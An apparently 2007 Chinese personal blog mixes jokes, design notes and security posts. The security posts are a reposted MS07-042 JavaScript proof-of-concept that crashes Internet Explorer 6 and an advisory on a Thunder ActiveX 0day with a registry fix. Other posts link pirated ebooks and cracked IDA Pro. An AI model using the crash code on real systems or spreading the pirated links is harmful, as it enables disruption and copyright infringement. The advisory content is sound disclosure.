年底几部大片的启示

作者:ZhaoHuAn 日期:2007-12-26

年底五部大片的启示：

《色戒》：女人不可靠
《投名状》：兄弟也不可靠
《集结号》：组织更不可靠
《苹果》：老板也不可靠啊

分类:Diary | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 1928

Google AdSense Secrets

作者:ZhaoHuAn 日期:2007-12-08

Google AdSense Secrets

(推荐一本ebook，玩GG广告的人可以看看)
What Google Never Told You About Making Money With AdSense:
3 Steps To Higher AdSense Income! (3rd Edition) by Joel Comm
NEW Update! | HOT! | 199 Pages | 2006-2007 | 3rd Edition | 6.7 Mb

This eBook is VERY HOT, all the best webmaters on Internet use it! It is not available on Internet unless you buy it for $97 USD! The Definitive AdSense Resource From The Internet Revenue Expert!

Download :

http://rapidshare.com/files/56138650/google_adsense_secrets_spotx_org.rar

Password :
www.spotx.org

分类:Technical | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 2026

（theWarlords）《投名状》影片信息&服装造型变化历程图集

作者:ZhaoHuAn 日期:2007-12-01

李连杰，刘德华，金城武，三兄弟的“草根”扮相

三个主要演员在战争的场面

三人被招安之后

最后落场？鲜艳颜色

最近还蛮期待这部片子的~

分类:0thers | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 1693

迅雷再爆高危0Day漏洞

作者:ZhaoHuAn 日期:2007-11-17

一、事件分析：

今日，超级巡警团队捕获到一个利用迅雷0day高危漏洞挂马的网页木马。迅雷用户在浏览到黑客精心构造的包含恶意代码的网页后，会在后台下载木马程序并运行。漏洞利用代码中的ClassID（F3E70CEA-956E-49CC-B444-73AFE593AD7F），经过超级巡警分析员确认，漏洞出现在迅雷看看(pplayer.dll_1_work)组件上。迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影响，目前厂商还未发布补丁，迅雷安装时将默认安装迅雷看看的控件，所以所有安装了迅雷的用户都将受到此次漏洞的影响。

影响版本：迅雷5 5.7.4.401
pplayer.dll_1_work 1.2.3.49

构造的漏洞利用网页截图：

用户在浏览恶意构造的网页后，目前会自动下载名为：Worm.Win32.Downloader.an 的木马下载器，该下载器主要下载盗号木马来窃取用户的网游/IM工具账号。

二、解决方案

1、在迅雷发布补丁之前请暂时卸载迅雷，或者使用临时解决方案，将下面内容保存为.reg文件，双击导入注册表：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F3E70CEA-956E-49CC-B444-73AFE593AD7F}]
"Compatibility Flags"=dword:00000400
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
2、推荐安装超级巡警监测查杀木马，并及时修改自己的QQ/网游账号密码。
3、请广大用户及时使用...

分类:Security | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 1827

冷笑话一则

作者:ZhaoHuAn 日期:2007-11-11

楼主：巴基斯坦和卡巴斯基到底是什么关系？？

回复：有基巴关系

分类:0thers | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2084

IDA.Pro.Advanced.v5.1.0.899-YAG

作者:ZhaoHuAn 日期:2007-10-10

√DataRescue.IDA.Pro.Advanced.v5.1.0.899-YAG开始放IDA V5.1了

DataRescue.IDA.Pro.Advanced.v5.1.Linux-YAG
http://219.153.5.141/IDA.Pro.Advanced.v5.1/IDA.Pro.Advanced.v5.1.0.899.Linux.rar

DataRescue.IDA.Pro.Advanced.v5.1.Mac.OSX-YAG
http://219.153.5.141/IDA.Pro.Advanced.v5.1/IDA.Pro.Advanced.v5.1.0.899.Mac.OSX.rar

DataRescue.IDA.Pro.Advanced.v5.1.0.899-YAG
http://219.153.5.141/IDA.Pro.Advanced.v5.1/IDA.Pro.Advanced.v5.1.0.899.Windows.rar

分类:News | 固定链接 | 评论: 2 | 引用: 0 | 查看次数: 2818

[zt]如何成为标题党

作者:ZhaoHuAn 日期:2007-10-03

好的标题党，会让人在感觉上当受骗的同时，会心一笑，觉察到标题的幽默之所在

坏的标题党，会让人感觉上当被恶意欺骗，浪费网友时间和感情。

标题党类型：
　单刀直入型：xx与我，不得不说的故事
网友裤子：这个算是标题党的传统模式了，反正随便写什么都可以说是“不得不说”的事嘛。“不得不说”这四个字又引人遐思得很。
　　擦边歪曲型：八千湘女上天山解决驻疆官兵的性爱问题
网友丢铁球：我还以为中国也有慰安妇！实际内容是解决驻疆官兵的婚姻问题，落户扎根新疆……好邪恶的标题党。

恶意误导型：贝克汉姆受皇马队友特殊礼遇　辣妹已怀上第四胎？
网友纸公：此标题意境颇深远。不由得让人去联想辣妹肚子里的孩子跟皇马队友的“特殊礼遇”之间的关系。

居心叵测型：XX场，姚明得分为麦帝的10倍！
网友我不是球迷：嗯，标题叙述的倒确实是事实。但是姚明也只是得了20分，因为麦帝是2分。

大气豪迈型：从超女现象看我国的民主化进程
网友空调厂会计：我买了一本《剑桥亚洲史》，结果看了后才发觉，它应该改名为《剑桥亚洲史目录》！

分类:0thers | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2091

杰出的首页设计欣赏 [1]

作者:ZhaoHuAn 日期:2007-09-29

设计师需要在较短的时间内使用户被网站吸引，并获得用户的忠心。清晰的视觉结构，合理的布局以及图像的适当运用对于用户浏览网站起着极其重要的作用。因此，为使用户对网站留下深刻的印象，应提高网站的可用性。
然而，常见的网站设计方案逐渐被放弃，具有创意的设计对用户吸引更大。因此，为增加网站用户，设计师会冒着风险采用与众不同的、具有创意的设计方案。毕竟，在规则和创意之间，设计师还有很大的发挥空间。我们可以借鉴较好的设计方案，探索出更有创意的设计。
没有哪一个页面比首页更重要了，对于一个设计师来说设计一个革命性的首页是有很意思的事情。让我们来欣赏下这些与众不同、杰出的首页设计吧！

1. LeoBurnett.ca

2. Capitalcomm

3. Yammat.com

4. SectionSeven.com

5. Flaboy.com

6. MHQ.nl

7. dontclick.it

分类:DesiGn | 固定链接 | 评论: 2 | 引用: 0 | 查看次数: 1936

暂时不更新BLOG

作者:ZhaoHuAn 日期:2007-09-21

好多存在问题的论坛和交互性站点都纷纷关闭避风头去了。。另一些论坛逃往国外了。。还有据说BLOG也在逐渐被河蟹占领。。为了祖国伟大的党的17大的顺利召开。。暂时不更新了，本来上网也很少：）

有朋友想写点东西换Q了，请黑防和nohack的编辑重新联系一下我。

分类:Diary | 固定链接 | 评论: 1 | 引用: 0 | 查看次数: 2186

MS07-042 XMLDOM substringData() PoC

作者:ZhaoHuAn 日期:2007-08-16

程序代码

Alla Bezroutchko <alla_at_scanit.be>
Date: Thu, 16 Aug 2007 11:32:10 +0200

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

    var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.loadXML("<dummy></dummy>");
    var txt = xmlDoc.createTextNode("huh");
    var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/

//微软也很速度的发布了补丁。

分类:News | 固定链接 | 评论: 0 | 引用: 0 | 查看次数: 2636